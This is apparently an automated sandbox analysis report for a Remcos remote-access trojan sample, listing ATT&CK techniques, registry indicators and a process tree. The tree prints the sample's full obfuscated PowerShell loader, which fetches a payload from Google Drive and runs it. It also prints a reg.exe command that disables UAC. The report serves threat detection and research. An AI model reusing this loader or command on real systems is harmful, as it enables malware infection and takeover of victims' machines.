remcos | 9939124470b905a59211785f33e22b3761829b7cacd89bb03d7104f4c71a8d72

pid	Process
1184	Chrome.exe
824	Chrome.exe
1448	msedge.exe
1776	msedge.exe
3584	msedge.exe
4136	Chrome.exe
4536	Chrome.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2736	powershell.exe
4928	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
7	drive.google.com
8	drive.google.com
29	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2896	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4928	powershell.exe
2896	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2896 set thread context of 4548	2896	msiexec.exe	110
PID 2896 set thread context of 4880	2896	msiexec.exe	111
PID 2896 set thread context of 2500	2896	msiexec.exe	112

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	msedge.exe

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Chrome.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2236	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2736	powershell.exe
2736	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
4548	msiexec.exe
4548	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2500	msiexec.exe
2500	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
4136	Chrome.exe
4136	Chrome.exe
2896	msiexec.exe
2896	msiexec.exe
4548	msiexec.exe
4548	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe

Suspicious behavior: MapViewOfSection 5 IoCs

pid	Process
4928	powershell.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe
2896	msiexec.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
1448	msedge.exe
1448	msedge.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	2736	powershell.exe
Token: SeDebugPrivilege	4928	powershell.exe
Token: SeDebugPrivilege	2500	msiexec.exe
Token: SeShutdownPrivilege	4136	Chrome.exe
Token: SeCreatePagefilePrivilege	4136	Chrome.exe
Token: SeShutdownPrivilege	4136	Chrome.exe
Token: SeCreatePagefilePrivilege	4136	Chrome.exe
Token: SeShutdownPrivilege	4136	Chrome.exe
Token: SeCreatePagefilePrivilege	4136	Chrome.exe
Token: SeShutdownPrivilege	4136	Chrome.exe
Token: SeCreatePagefilePrivilege	4136	Chrome.exe
Token: SeShutdownPrivilege	4136	Chrome.exe
Token: SeCreatePagefilePrivilege	4136	Chrome.exe
Token: SeShutdownPrivilege	4136	Chrome.exe
Token: SeCreatePagefilePrivilege	4136	Chrome.exe
Token: SeShutdownPrivilege	4136	Chrome.exe
Token: SeCreatePagefilePrivilege	4136	Chrome.exe
Token: SeShutdownPrivilege	4136	Chrome.exe
Token: SeCreatePagefilePrivilege	4136	Chrome.exe
Token: SeShutdownPrivilege	4136	Chrome.exe
Token: SeCreatePagefilePrivilege	4136	Chrome.exe
Token: SeShutdownPrivilege	4136	Chrome.exe
Token: SeCreatePagefilePrivilege	4136	Chrome.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4136	Chrome.exe
1448	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4992 wrote to memory of 2736	4992	WScript.exe	83
PID 4992 wrote to memory of 2736	4992	WScript.exe	83
PID 4928 wrote to memory of 2896	4928	powershell.exe	98
PID 4928 wrote to memory of 2896	4928	powershell.exe	98
PID 4928 wrote to memory of 2896	4928	powershell.exe	98
PID 4928 wrote to memory of 2896	4928	powershell.exe	98
PID 2896 wrote to memory of 4168	2896	msiexec.exe	101
PID 2896 wrote to memory of 4168	2896	msiexec.exe	101
PID 2896 wrote to memory of 4168	2896	msiexec.exe	101
PID 4168 wrote to memory of 2236	4168	cmd.exe	103
PID 4168 wrote to memory of 2236	4168	cmd.exe	103
PID 4168 wrote to memory of 2236	4168	cmd.exe	103
PID 2896 wrote to memory of 4136	2896	msiexec.exe	104
PID 2896 wrote to memory of 4136	2896	msiexec.exe	104
PID 4136 wrote to memory of 468	4136	Chrome.exe	105
PID 4136 wrote to memory of 468	4136	Chrome.exe	105
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 4480	4136	Chrome.exe	106
PID 4136 wrote to memory of 2892	4136	Chrome.exe	107
PID 4136 wrote to memory of 2892	4136	Chrome.exe	107
PID 4136 wrote to memory of 1860	4136	Chrome.exe	108
PID 4136 wrote to memory of 1860	4136	Chrome.exe	108
PID 4136 wrote to memory of 1860	4136	Chrome.exe	108
PID 4136 wrote to memory of 1860	4136	Chrome.exe	108
PID 4136 wrote to memory of 1860	4136	Chrome.exe	108
PID 4136 wrote to memory of 1860	4136	Chrome.exe	108
PID 4136 wrote to memory of 1860	4136	Chrome.exe	108
PID 4136 wrote to memory of 1860	4136	Chrome.exe	108
PID 4136 wrote to memory of 1860	4136	Chrome.exe	108
PID 4136 wrote to memory of 1860	4136	Chrome.exe	108
PID 4136 wrote to memory of 1860	4136	Chrome.exe	108
PID 4136 wrote to memory of 1860	4136	Chrome.exe	108
PID 4136 wrote to memory of 1860	4136	Chrome.exe	108
PID 4136 wrote to memory of 1860	4136	Chrome.exe	108
PID 4136 wrote to memory of 1860	4136	Chrome.exe	108
PID 4136 wrote to memory of 1860	4136	Chrome.exe	108

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Solicitud de cotización 11-11-2024·pdf.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Milieubeskyttelseshensynene Instrumentalise Marmorqmr Noncatechistic Indgraveredes Bevisfrelsen Scotopias #><#Synkretiserede Teatrene angrebsvinklernes Emmenia Tilpasningsklausulen #>$Japonicize='Uligevgt';function Ejicient($Anjilas){If ($host.DebuggerEnabled) {$Phonocardiogramme++;$kermesic=$Anjilas.'Length' - $Phonocardiogramme} for ( $bruger=4;$bruger -lt $kermesic;$bruger+=5){$Protopodite=$bruger;$Beveling+=$Anjilas[$bruger]}$Beveling}function Canework($Preconsideration){ .($Bogreolerne231) ($Preconsideration)}$Prepronounce=Ejicient 'S,mfN broeEnteTBesv. .ntW lamEUndeB RneCKredL p oiIsene UnpnBunkT Rim ';$Rhymesters=Ejicient 'UncoM SgeoNatuzDatoiDownlSpell AffaDip /abso ';$Systemstart=Ejicient 'FlitTStaml,ikisVigi1Isot2 ra ';$Hypotype='indu[NithnSupeE.ndeTPryd.Stags.nruETaw.RBjrnvAhlmiVandcDrame K mP Z moSponiSaddNComptMagemM moAPre N IsoaPr,rG tomECutwrOver]kult:.anh:op usDagvE Fu CMoleuKennRKythiSnowtForkY,yngPBostR O aoOpdrTadvioRosacKaleO U tlUdlb=Stru$ upSAssaY.jemSJakoTHaaneL.erMdimeSDi lTUnenASegnRTablTFl,r ';$Rhymesters+=Ejicient 'Baan5Doll. Chr0Spge Luks(Er,vWCompiPho nSubpdSmatoNimkwbru sMora terNForsTMist ekt1Dias0Limn. Nul0Bort;Hjer BiotWrefliPe.onFinn6Pres4Sauc;K pr BepxAfpi6 ank4Auri;Pand EnlirTjenvmend: Ken1Rekl3Hypo1Koin.Bi k0 s u)S.er WagGEnkeeF gecargekbadeoLu,m/Data2Fors0Genn1 Ca,0Smel0 Yal1maa 0 Tan1k ss craF Cy iStiprBr,geSpilfFri,o mu x.lio/sp.i1Seks3 C.t1Scil.Femk0edde ';$brugermpedient0=Ejicient 'Dan uDrifsShelE,sexrPeac-SmedaHjkoGRevoe,yreNBla.TEnte ';$Differs=Ejicient ' UhrhGri,t FrotSurdpVejls ekn:Paed/Decl/StandUnfirAlieiAb fv atteProt. FargMc ioAn ioLaang lielLimmeAfbe.SyskcCelloEp lm Smi/fortuS gecr pa? Skie oanxS edp alaoethyrFlletTviv=Shadd,isro,hriwAnkenVan lWhasoe,ugaFurrdglad&Ge siP acdempo=Spar1CemeWSeceFParoODermQEgenZWienEAff S SkrtindvRA fl1AntamUgl,lUn.n1PostSsto MFliclFly - Virb idsX s r6FaucI UnjFObjeFLon K Hom4SoliUS.omuBladMOveruEvne1FormPt gnhClos ';$Pediatricians=Ejicient ' Buk>Bl,s ';$Bogreolerne231=Ejicient ' .esIB,reeS.ilXUnd ';$Albins='Turreted';$Phobiac='\Birkepollen.Eje';Canework (Ejicient 'Ch m$Unqug.ersLPostO uckbChe aSkytl Su.:To nsTophoGiganKentgn,npESemiRLito1T.pw2Be r8Snvl=Stil$Binrearc,NNonpvsprn: ,nsaKat,PMis P UfrDAlbua VanTIntra ngr+tr,g$Ud ep amohPegmoSha B UnfIdia a PadcGe n ');Canework (Ejicient 'isle$PathGReh.LPol OSubsbEq iASotaLRute:Aan FQueyE lcrToucIShieestyrh Pe UU ioSUnpieCountSkafSGrue= Bry$ VisdGr iiworcFFlygFHarmEStagr,russ In . atuSVensp PlalBoomi,rigtSkos(albu$SerupTillEDyesd nvei ,atAJanntSt erLysfiTeoscterriPrieAPromNsi,msO ts)Ic r ');Canework (Ejicient $Hypotype);$Differs=$Feriehusets[0];$Vorterod=(Ejicient 'Ca,y$Pr eG keLF,rhoDredBT ksaPotaLBrs :SympZPibeyTradgSt,eoVibrmBailA BiltHyttI,vercLyssO efoSHlerp T eh WhiES.ejN eksoUngeinapadembl=HeliNeftee irkwAb.o- .ovOTextB smojFribeCommc lagTHi t in iS UroYFugesBalst KonEKnalmT ut.Su t$PossPEvolR v.sEPresp ScorThr o TilN S soPyorU CannRut cK,biETran ');Canework ($Vorterod);Canework (Ejicient 'Sm,u$MagtZBesky,ollgVareoVegnmSwitaNu ltAutoi Br c.ondoFrodsa rap jesh SpoePi fnAtr oBeboiG,egdP eo.DelbHScopeDiaraBilad C.ieDehorArchsWool[k.nv$ D,sbBumlrSow uFol g nnieAc,nrCoremSammp SkaeSe idEutri staeM ksn montBefo0Pian]Urov=Li.r$RuneRm lehLin,yOliomTranesk tsUopstScabeAllir Ko,sStip ');$Antndelsen35=Ejicient 'Util$t lsZJenty .hagmakro ,atm plaaR fitYasmiM ricAbi,oEu,esCar pE.dehLaveeKompn hroSpndiMetrd oye.FrikDOveroF,rswProsnCis lGodso ManaV lgdForsFMeati Un lTjene G e(Over$BhalDRepaiOpmufS cif .rbeSalirPyrosNect, M n$LastRLeopiQuows En iKla kConnoka,df horr autiProke Sl sHenst M r)Sta ';$Risikofriest=$Songer128;Canework (Ejicient '.eto$Guttg Fe lT chOUdmubIsopaUdelL ra:slidmti gOSto R,jelpTempHPropIEradn F eELand=Alve(FdertTox e EffSnotatPost- RoopUnmoAFemtT einH urf Sca,$ RepROlieiSlvlsCautIDesskUndeOH lmfTimerViseiProgEL.ggsFlirT Kil)Spis ');while (!$Morphine) {Canework (Ejicient 'Husf$ OvegPlanlVandoB babHe raPinnlChuk:DisiO Judv Unse EirrT ilbUnpauSklmrOutbtEdelhAkaneSulfn Sma= lli$ nvtHararParauFr.keBeto ') ;Canework $Antndelsen35;Canework (Ejicient 'Wa sSDisstGeolA TudRApostSter- MalsunpeLUmi.EFrikEAngeP Pin Ope4Olva ');Canework (Ejicient 'R,mn$DrosgOc alMayaogas B Bn.a Anal Sp,:,eviMCircoAnd RAktipSk,bh,latiUdlgnOps.e Kol=Trom( mo T TalEBonbSUnditSkld-KilopDet AK rnTDiviH Pin B,ck$TotaRir eiNonlS DraI subKFelloPallfFyldrsqueiSnureBronS antFore)Peri ') ;Canework (Ejicient 'saks$Sy bGVinkL,ascoFrembUnalA StilSequ:NedfbJohaOScalu.oteRI teDHenfOPapbN Hi =Phil$EpisGT vel TorOCarwB E,caReg L efl: Gger M.saBo.dgK lka ombMYukouEvenfRvenfSpumiStatn rod+Afgi+ A.b% C a$SherfUdsmEDeprRBerlIMal.EPr fh ForULu.tSSkoseAfgaT ressKomm.HedacSp.roUnasUCowpN upTCent ') ;$Differs=$Feriehusets[$bourdon]}$Bevgeligst=284907;$Antecommunion=30136;Canework (Ejicient '.tyr$AlligkoglLSp.iOUm.lBoutcAPermljust:Slimm ca IKombSVolcjPr vU,remd TunGCultEMach Skri=Dith ListgOrloETot tSi.k-Tai,CBewroEnkeNBea,t TryeOutsNDe,uT Lig Soc $plicrTraniLaurSLimpiLesiKGe.uO Ba FSladRStyriAfdee,ollS ematarab ');Canework (Ejicient ' Ret$Su.dgBromlKlipoUlvibAnnoaHy rlBe g:MarvUTjurn,arstKorrhUrenrSpiliDi kfGldstG aaiRe rn .nte VegsDdsmsHous Fald=Alta ruma[ToppSSpeeyDruksOpdat N neUdlymMidn.BombCKlino FesnStipvD,steUndersorttM ta] os:W.ol:AggrF LgerKrukoAirlm TagBAffaaRegus Ma e .ar6G,nn4ProvS ph tS.lvrSkibi Deanmed gUnsh(Marg$CotwMDgneiSortsBl.njPrimu ormdDommgChereSter),abr ');Canework (Ejicient 'Sn,p$KirggGrnslbesyOOpdrbSurramandLBev : S,eFTok I atenAnthS AcekUnprEUns Bys =Lipo f.rs[ tyrs C iyLegas nogtAkkoEPopsMSelv.FacsT,avne lejx r fTWarr.R aeECarmnPejlC KjvOSamldNonsiOvernUphiGProp]osca:Oev : uarABygnS ileCP raIGeneIMusk.LynaGSlvkEbotaTOx,ds ondtCharRAnt,IRediN .llgocul(B,on$UnwiUN stNUnh,TLivshAnm.R DdsIDan.fTudsTDataiPlanNTrisEMa.uS AlmsF.de) Mas ');Canework (Ejicient 'Appl$UdenG MelLEnerOSt.nBKlu aMustLHjem:I dsfMongACzecIOmgiRGrunYPierhThyro olaOAfstDtils=Frus$UtaaFDispIV.nrnIsvrS StiK reqEV ri.U,orsDeloU Ba.bBaghsSa mtIncoRTea,I ldNPul gEmer(Ecti$NonfbLaunESkovvDe egU.iseEk hL,delISelvgTveks,ophtSubc, Eli$Da,aaUnchnEmi tD,seETalkCDysmoP lamcurrMCoa,uEvisnBrkvi FinoLegeNSere) Bom ');Canework $Fairyhood;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2736

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Milieubeskyttelseshensynene Instrumentalise Marmorqmr Noncatechistic Indgraveredes Bevisfrelsen Scotopias #><#Synkretiserede Teatrene angrebsvinklernes Emmenia Tilpasningsklausulen #>$Japonicize='Uligevgt';function Ejicient($Anjilas){If ($host.DebuggerEnabled) {$Phonocardiogramme++;$kermesic=$Anjilas.'Length' - $Phonocardiogramme} for ( $bruger=4;$bruger -lt $kermesic;$bruger+=5){$Protopodite=$bruger;$Beveling+=$Anjilas[$bruger]}$Beveling}function Canework($Preconsideration){ .($Bogreolerne231) ($Preconsideration)}$Prepronounce=Ejicient 'S,mfN broeEnteTBesv. .ntW lamEUndeB RneCKredL p oiIsene UnpnBunkT Rim ';$Rhymesters=Ejicient 'UncoM SgeoNatuzDatoiDownlSpell AffaDip /abso ';$Systemstart=Ejicient 'FlitTStaml,ikisVigi1Isot2 ra ';$Hypotype='indu[NithnSupeE.ndeTPryd.Stags.nruETaw.RBjrnvAhlmiVandcDrame K mP Z moSponiSaddNComptMagemM moAPre N IsoaPr,rG tomECutwrOver]kult:.anh:op usDagvE Fu CMoleuKennRKythiSnowtForkY,yngPBostR O aoOpdrTadvioRosacKaleO U tlUdlb=Stru$ upSAssaY.jemSJakoTHaaneL.erMdimeSDi lTUnenASegnRTablTFl,r ';$Rhymesters+=Ejicient 'Baan5Doll. Chr0Spge Luks(Er,vWCompiPho nSubpdSmatoNimkwbru sMora terNForsTMist ekt1Dias0Limn. Nul0Bort;Hjer BiotWrefliPe.onFinn6Pres4Sauc;K pr BepxAfpi6 ank4Auri;Pand EnlirTjenvmend: Ken1Rekl3Hypo1Koin.Bi k0 s u)S.er WagGEnkeeF gecargekbadeoLu,m/Data2Fors0Genn1 Ca,0Smel0 Yal1maa 0 Tan1k ss craF Cy iStiprBr,geSpilfFri,o mu x.lio/sp.i1Seks3 C.t1Scil.Femk0edde ';$brugermpedient0=Ejicient 'Dan uDrifsShelE,sexrPeac-SmedaHjkoGRevoe,yreNBla.TEnte ';$Differs=Ejicient ' UhrhGri,t FrotSurdpVejls ekn:Paed/Decl/StandUnfirAlieiAb fv atteProt. FargMc ioAn ioLaang lielLimmeAfbe.SyskcCelloEp lm Smi/fortuS gecr pa? Skie oanxS edp alaoethyrFlletTviv=Shadd,isro,hriwAnkenVan lWhasoe,ugaFurrdglad&Ge siP acdempo=Spar1CemeWSeceFParoODermQEgenZWienEAff S SkrtindvRA fl1AntamUgl,lUn.n1PostSsto MFliclFly - Virb idsX s r6FaucI UnjFObjeFLon K Hom4SoliUS.omuBladMOveruEvne1FormPt gnhClos ';$Pediatricians=Ejicient ' Buk>Bl,s ';$Bogreolerne231=Ejicient ' .esIB,reeS.ilXUnd ';$Albins='Turreted';$Phobiac='\Birkepollen.Eje';Canework (Ejicient 'Ch m$Unqug.ersLPostO uckbChe aSkytl Su.:To nsTophoGiganKentgn,npESemiRLito1T.pw2Be r8Snvl=Stil$Binrearc,NNonpvsprn: ,nsaKat,PMis P UfrDAlbua VanTIntra ngr+tr,g$Ud ep amohPegmoSha B UnfIdia a PadcGe n ');Canework (Ejicient 'isle$PathGReh.LPol OSubsbEq iASotaLRute:Aan FQueyE lcrToucIShieestyrh Pe UU ioSUnpieCountSkafSGrue= Bry$ VisdGr iiworcFFlygFHarmEStagr,russ In . atuSVensp PlalBoomi,rigtSkos(albu$SerupTillEDyesd nvei ,atAJanntSt erLysfiTeoscterriPrieAPromNsi,msO ts)Ic r ');Canework (Ejicient $Hypotype);$Differs=$Feriehusets[0];$Vorterod=(Ejicient 'Ca,y$Pr eG keLF,rhoDredBT ksaPotaLBrs :SympZPibeyTradgSt,eoVibrmBailA BiltHyttI,vercLyssO efoSHlerp T eh WhiES.ejN eksoUngeinapadembl=HeliNeftee irkwAb.o- .ovOTextB smojFribeCommc lagTHi t in iS UroYFugesBalst KonEKnalmT ut.Su t$PossPEvolR v.sEPresp ScorThr o TilN S soPyorU CannRut cK,biETran ');Canework ($Vorterod);Canework (Ejicient 'Sm,u$MagtZBesky,ollgVareoVegnmSwitaNu ltAutoi Br c.ondoFrodsa rap jesh SpoePi fnAtr oBeboiG,egdP eo.DelbHScopeDiaraBilad C.ieDehorArchsWool[k.nv$ D,sbBumlrSow uFol g nnieAc,nrCoremSammp SkaeSe idEutri staeM ksn montBefo0Pian]Urov=Li.r$RuneRm lehLin,yOliomTranesk tsUopstScabeAllir Ko,sStip ');$Antndelsen35=Ejicient 'Util$t lsZJenty .hagmakro ,atm plaaR fitYasmiM ricAbi,oEu,esCar pE.dehLaveeKompn hroSpndiMetrd oye.FrikDOveroF,rswProsnCis lGodso ManaV lgdForsFMeati Un lTjene G e(Over$BhalDRepaiOpmufS cif .rbeSalirPyrosNect, M n$LastRLeopiQuows En iKla kConnoka,df horr autiProke Sl sHenst M r)Sta ';$Risikofriest=$Songer128;Canework (Ejicient '.eto$Guttg Fe lT chOUdmubIsopaUdelL ra:slidmti gOSto R,jelpTempHPropIEradn F eELand=Alve(FdertTox e EffSnotatPost- RoopUnmoAFemtT einH urf Sca,$ RepROlieiSlvlsCautIDesskUndeOH lmfTimerViseiProgEL.ggsFlirT Kil)Spis ');while (!$Morphine) {Canework (Ejicient 'Husf$ OvegPlanlVandoB babHe raPinnlChuk:DisiO Judv Unse EirrT ilbUnpauSklmrOutbtEdelhAkaneSulfn Sma= lli$ nvtHararParauFr.keBeto ') ;Canework $Antndelsen35;Canework (Ejicient 'Wa sSDisstGeolA TudRApostSter- MalsunpeLUmi.EFrikEAngeP Pin Ope4Olva ');Canework (Ejicient 'R,mn$DrosgOc alMayaogas B Bn.a Anal Sp,:,eviMCircoAnd RAktipSk,bh,latiUdlgnOps.e Kol=Trom( mo T TalEBonbSUnditSkld-KilopDet AK rnTDiviH Pin B,ck$TotaRir eiNonlS DraI subKFelloPallfFyldrsqueiSnureBronS antFore)Peri ') ;Canework (Ejicient 'saks$Sy bGVinkL,ascoFrembUnalA StilSequ:NedfbJohaOScalu.oteRI teDHenfOPapbN Hi =Phil$EpisGT vel TorOCarwB E,caReg L efl: Gger M.saBo.dgK lka ombMYukouEvenfRvenfSpumiStatn rod+Afgi+ A.b% C a$SherfUdsmEDeprRBerlIMal.EPr fh ForULu.tSSkoseAfgaT ressKomm.HedacSp.roUnasUCowpN upTCent ') ;$Differs=$Feriehusets[$bourdon]}$Bevgeligst=284907;$Antecommunion=30136;Canework (Ejicient '.tyr$AlligkoglLSp.iOUm.lBoutcAPermljust:Slimm ca IKombSVolcjPr vU,remd TunGCultEMach Skri=Dith ListgOrloETot tSi.k-Tai,CBewroEnkeNBea,t TryeOutsNDe,uT Lig Soc $plicrTraniLaurSLimpiLesiKGe.uO Ba FSladRStyriAfdee,ollS ematarab ');Canework (Ejicient ' Ret$Su.dgBromlKlipoUlvibAnnoaHy rlBe g:MarvUTjurn,arstKorrhUrenrSpiliDi kfGldstG aaiRe rn .nte VegsDdsmsHous Fald=Alta ruma[ToppSSpeeyDruksOpdat N neUdlymMidn.BombCKlino FesnStipvD,steUndersorttM ta] os:W.ol:AggrF LgerKrukoAirlm TagBAffaaRegus Ma e .ar6G,nn4ProvS ph tS.lvrSkibi Deanmed gUnsh(Marg$CotwMDgneiSortsBl.njPrimu ormdDommgChereSter),abr ');Canework (Ejicient 'Sn,p$KirggGrnslbesyOOpdrbSurramandLBev : S,eFTok I atenAnthS AcekUnprEUns Bys =Lipo f.rs[ tyrs C iyLegas nogtAkkoEPopsMSelv.FacsT,avne lejx r fTWarr.R aeECarmnPejlC KjvOSamldNonsiOvernUphiGProp]osca:Oev : uarABygnS ileCP raIGeneIMusk.LynaGSlvkEbotaTOx,ds ondtCharRAnt,IRediN .llgocul(B,on$UnwiUN stNUnh,TLivshAnm.R DdsIDan.fTudsTDataiPlanNTrisEMa.uS AlmsF.de) Mas ');Canework (Ejicient 'Appl$UdenG MelLEnerOSt.nBKlu aMustLHjem:I dsfMongACzecIOmgiRGrunYPierhThyro olaOAfstDtils=Frus$UtaaFDispIV.nrnIsvrS StiK reqEV ri.U,orsDeloU Ba.bBaghsSa mtIncoRTea,I ldNPul gEmer(Ecti$NonfbLaunESkovvDe egU.iseEk hL,delISelvgTveks,ophtSubc, Eli$Da,aaUnchnEmi tD,seETalkCDysmoP lamcurrMCoa,uEvisnBrkvi FinoLegeNSere) Bom ');Canework $Fairyhood;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4928
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2896
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4168
  - - C:\Windows\SysWOW64\reg.exe
